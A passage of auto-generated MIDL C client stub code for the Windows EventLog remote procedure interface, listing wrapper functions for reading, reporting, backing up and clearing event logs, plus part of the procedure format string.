MajorVersion,\n                  MinorVersion,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrReadELW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long ReadFlags,\n    /* [in] */ unsigned long RecordOffset,\n    /* [in] */ RULONG NumberOfBytesToRead,\n    /* [size_is][out] */ unsigned char *Buffer,\n    /* [out] */ unsigned long *NumberOfBytesRead,\n    /* [out] */ unsigned long *MinNumberOfBytesNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  10,\n                  0,\n                  LogHandle,\n                  ReadFlags,\n                  RecordOffset,\n                  NumberOfBytesToRead,\n                  Buffer,\n                  NumberOfBytesRead,\n                  MinNumberOfBytesNeeded);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrReportEventW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long Time,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_UNICODE_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_UNICODE_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber,\n    /* [unique][out][in] */ unsigned long *TimeWritten)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  11,\n                  0,\n                  LogHandle,\n                  Time,\n                  EventType,\n                  EventCategory,\n                  EventID,\n                  NumStrings,\n                  DataSize,\n                  ComputerName,\n                  UserSID,\n                  Strings,\n                  Data,\n                  Flags,\n                  RecordNumber,\n                  TimeWritten);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrClearELFA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [unique][in] */ PRPC_STRING BackupFileName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  12,\n                  0,\n                  LogHandle,\n                  BackupFileName);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrBackupELFA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PRPC_STRING BackupFileName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  13,\n                  0,\n                  LogHandle,\n                  BackupFileName);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrOpenELA( \n    /* [in] */ EVENTLOG_HANDLE_A UNCServerName,\n    /* [in] */ PRPC_STRING ModuleName,\n    /* [in] */ PRPC_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  14,\n                  0,\n                  UNCServerName,\n                  ModuleName,\n                  RegModuleName,\n                  MajorVersion,\n                  MinorVersion,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrRegisterEventSourceA( \n    /* [in] */ EVENTLOG_HANDLE_A UNCServerName,\n    /* [in] */ PRPC_STRING ModuleName,\n    /* [in] */ PRPC_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  15,\n                  0,\n                  UNCServerName,\n                  ModuleName,\n                  RegModuleName,\n                  MajorVersion,\n                  MinorVersion,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrOpenBELA( \n    /* [in] */ EVENTLOG_HANDLE_A UNCServerName,\n    /* [in] */ PRPC_STRING BackupFileName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  16,\n                  0,\n                  UNCServerName,\n                  BackupFileName,\n                  MajorVersion,\n                  MinorVersion,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrReadELA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long ReadFlags,\n    /* [in] */ unsigned long RecordOffset,\n    /* [in] */ RULONG NumberOfBytesToRead,\n    /* [size_is][out] */ unsigned char *Buffer,\n    /* [out] */ unsigned long *NumberOfBytesRead,\n    /* [out] */ unsigned long *MinNumberOfBytesNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  17,\n                  0,\n                  LogHandle,\n                  ReadFlags,\n                  RecordOffset,\n                  NumberOfBytesToRead,\n                  Buffer,\n                  NumberOfBytesRead,\n                  MinNumberOfBytesNeeded);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrReportEventA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long Time,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber,\n    /* [unique][out][in] */ unsigned long *TimeWritten)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  18,\n                  0,\n                  LogHandle,\n                  Time,\n                  EventType,\n                  EventCategory,\n                  EventID,\n                  NumStrings,\n                  DataSize,\n                  ComputerName,\n                  UserSID,\n                  Strings,\n                  Data,\n                  Flags,\n                  RecordNumber,\n                  TimeWritten);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum19NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  19,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum20NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  20,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum21NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  21,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nNTSTATUS ElfrGetLogInformation( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long InfoLevel,\n    /* [size_is][out] */ unsigned char *lpBuffer,\n    /* [range][in] */ unsigned long cbBufSize,\n    /* [out] */ unsigned long *pcbBytesNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  22,\n                  0,\n                  LogHandle,\n                  InfoLevel,\n                  lpBuffer,\n                  cbBufSize,\n                  pcbBytesNeeded);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum23NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  23,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nNTSTATUS ElfrReportEventAndSourceW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long Time,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [in] */ PRPC_UNICODE_STRING SourceName,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_UNICODE_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_UNICODE_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber,\n    /* [unique][out][in] */ unsigned long *TimeWritten)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  24,\n                  0,\n                  LogHandle,\n                  Time,\n                  EventType,\n                  EventCategory,\n                  EventID,\n                  SourceName,\n                  NumStrings,\n                  DataSize,\n                  ComputerName,\n                  UserSID,\n                  Strings,\n                  Data,\n                  Flags,\n                  RecordNumber,\n                  TimeWritten);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrReportEventExW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PFILETIME TimeGenerated,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_UNICODE_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_UNICODE_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  25,\n                  0,\n                  LogHandle,\n                  TimeGenerated,\n                  EventType,\n                  EventCategory,\n                  EventID,\n                  NumStrings,\n                  DataSize,\n                  ComputerName,\n                  UserSID,\n                  Strings,\n                  Data,\n                  Flags,\n                  RecordNumber);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrReportEventExA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PFILETIME TimeGenerated,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  26,\n                  0,\n                  LogHandle,\n                  TimeGenerated,\n                  EventType,\n                  EventCategory,\n                  EventID,\n                  NumStrings,\n                  DataSize,\n                  ComputerName,\n                  UserSID,\n                  Strings,\n                  Data,\n                  Flags,\n                  RecordNumber);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\nextern const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Deven_MIDL_PROC_FORMAT_STRING ms2Deven__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure ElfrClearELFW */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 10 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 14 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 16 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 18 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 20 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 22 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 30 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 32 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 34 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 36 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 38 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 40 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 42 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Return value */\n\n/* 44 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 46 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 48 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrBackupELFW */\n\n/* 50 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 52 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 58 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 60 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 62 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 64 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 66 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 68 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 70 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 72 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 74 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 76 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 78 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 80 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 82 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 86 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 88 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 90 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 92 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Return value */\n\n/* 94 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 96 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 98 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrCloseEL */\n\n/* 100 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 102 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 108 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 110 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 112 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 114 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 116 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 118 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 120 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 122 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 126 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 130 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 132 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 134 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 136 */\tNdrFcShort( 0x4a ),\t/* Type Offset=74 */\n\n\t/* Return value */\n\n/* 138 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 140 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrDeregisterEventSource */\n\n/* 144 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 146 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 150 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 152 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 154 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 156 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 158 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 160 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 162 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 164 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 166 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 170 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 176 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 180 */\tNdrFcShort( 0x4a ),\t/* Type Offset=74 */\n\n\t/* Return value */\n\n/* 182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 184 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrNumberOfRecords */\n\n/* 188 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 194 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 196 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 198 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 200 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 202 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 204 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 206 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 208 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 210 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 214 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 220 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NumberOfRecords */\n\n/* 226 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 228 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 230 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 232 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 234 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 236 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOldestRecord */\n\n/* 238 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 244 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 246 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 248 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 250 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 252 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 254 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 256 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 258 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 260 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 264 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 266 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 270 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 272 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 274 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter OldestRecordNumber */\n\n/* 276 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 278 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 280 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 282 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 284 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 286 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrChangeNotify */\n\n/* 288 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 290 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 294 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 296 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 298 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 300 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 302 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 304 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 306 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 308 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 310 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 312 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 314 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 316 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 318 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 320 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 322 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 324 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ClientId */\n\n/* 326 */\tNdrFcShort( 0x8a ),\t/* Flags:  must free, in, by val, */\n/* 328 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 330 */\tNdrFcShort( 0x52 ),\t/* Type Offset=82 */\n\n\t/* Parameter Event */\n\n/* 332 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 334 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 338 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 340 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 342 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenELW */\n\n/* 344 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 346 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 350 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 352 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 354 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 356 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 358 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 360 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 362 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 364 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 366 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 368 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 370 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 372 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 374 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 376 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 380 */\tNdrFcShort( 